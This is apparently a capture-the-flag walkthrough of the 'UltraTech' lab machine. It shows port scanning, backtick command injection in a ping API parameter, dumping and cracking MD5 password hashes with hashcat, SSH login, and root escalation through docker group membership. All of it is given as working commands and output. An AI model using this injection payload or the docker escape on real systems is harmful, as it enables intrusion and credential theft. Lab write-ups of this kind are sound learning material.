UltraTech
1. Reconnaissance
To maintain a clean workflow, we first set an environment variable for the target IP:
export TARGET_IP=10.10.71.122
1.1 Initial Port Scan
We perform an aggressive full port scan using Nmap to identify open ports:
nmap -p- --min-rate 5000 $TARGET_IP
Scan Results:
Not shown: 65331 closed tcp ports (reset), 200 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8081/tcp open blackice-icecap
31331/tcp open unknown
1.2 Service and Version Enumeration
We refine our scan to identify service versions:
nmap -sC -sV -p21,8081,31331 $TARGET_IP
Scan Results:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
8081/tcp open http Node.js Express framework
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Unix
2. Web Enumeration
Checking for robots.txt
:
curl http://$TARGET_IP:31331/robots.txt
Sitemap: /utech_sitemap.txt
Fetching the sitemap:
curl http://$TARGET_IP:31331/utech_sitemap.txt
/partners.html
Inspecting partners.html
reveals a reference to api.js
:
view-source:http://$TARGET_IP:31331/js/api.js
2.1 Analyzing api.js
function getAPIURL() {
return `${window.location.hostname}:8081`;
}
function checkAPIStatus() {
const req = new XMLHttpRequest();
try {
const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`;
req.open('GET', url, true);
req.onload = function () {
if (req.readyState === 4) {
if (req.status === 200) {
console.log('The API seems to be running');
} else {
console.error(req.statusText);
}
}
};
req.onerror = function () {
console.error(req.statusText);
};
req.send(null);
} catch (e) {
console.error(e);
console.log('API Error');
}
}
checkAPIStatus();
The checkAPIStatus()
function calls an API endpoint at /ping?ip=...
, suggesting a potential vulnerability if unsanitized input is passed.
3. Testing for Command Injection
3.1 Normal API Response
view-source:http://$TARGET_IP:8081/ping?ip=10.10.71.122
PING 10.10.71.122 (10.10.71.122) 56(84) bytes of data.
64 bytes from 10.10.71.122: icmp_seq=1 ttl=64 time=0.031 ms
3.2 Injecting a Command
We test command execution via backticks:
view-source:http://$TARGET_IP:8081/ping?ip=`ls`
ping: utech.db.sqlite: Name or service not known
Why Do Backticks Work?
The backtick (`
) syntax in Linux executes the enclosed command and substitutes its output. If the application directly appends user input into a shell command without sanitization, the backticks allow arbitrary command execution.
3.3 Extracting Database Credentials
http://$TARGET_IP:8081/ping?ip=`cat%20utech.db.sqlite`
ping: ...) r00t:f357a0c52799563c7c7b76c1e7543a32 admin:0d0ea5111e3c1def594c1684e3b9be84
4. Cracking Credentials
We extract password hashes:
r00t:f357a0c52799563c7c7b76c1e7543a32
admin:0d0ea5111e3c1def594c1684e3b9be84
Using Hashcat to identify the hash type:
hashcat --identify f357a0c52799563c7c7b76c1e7543a32
hashcat --identify 0d0ea5111e3c1def594c1684e3b9be84
Cracking with a wordlist:
hashcat -a 0 -m 0 f357a0c52799563c7c7b76c1e7543a32 /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 0 0d0ea5111e3c1def594c1684e3b9be84 /usr/share/wordlists/rockyou.txt
Decrypted credentials:
r00t:n100906
admin:mrsheafy
5. Gaining Initial Access
Using SSH to log in as r00t
:
ssh r00t@$TARGET_IP
Verifying user privileges:
id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
6. Privilege Escalation via Docker
The user is part of the docker
group, meaning they can run containers with root access.
https://gtfobins.github.io/gtfobins/docker/#suid
Escalating to root using a Docker container:
docker run -v /:/mnt --rm -it bash chroot /mnt sh
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
Root access obtained!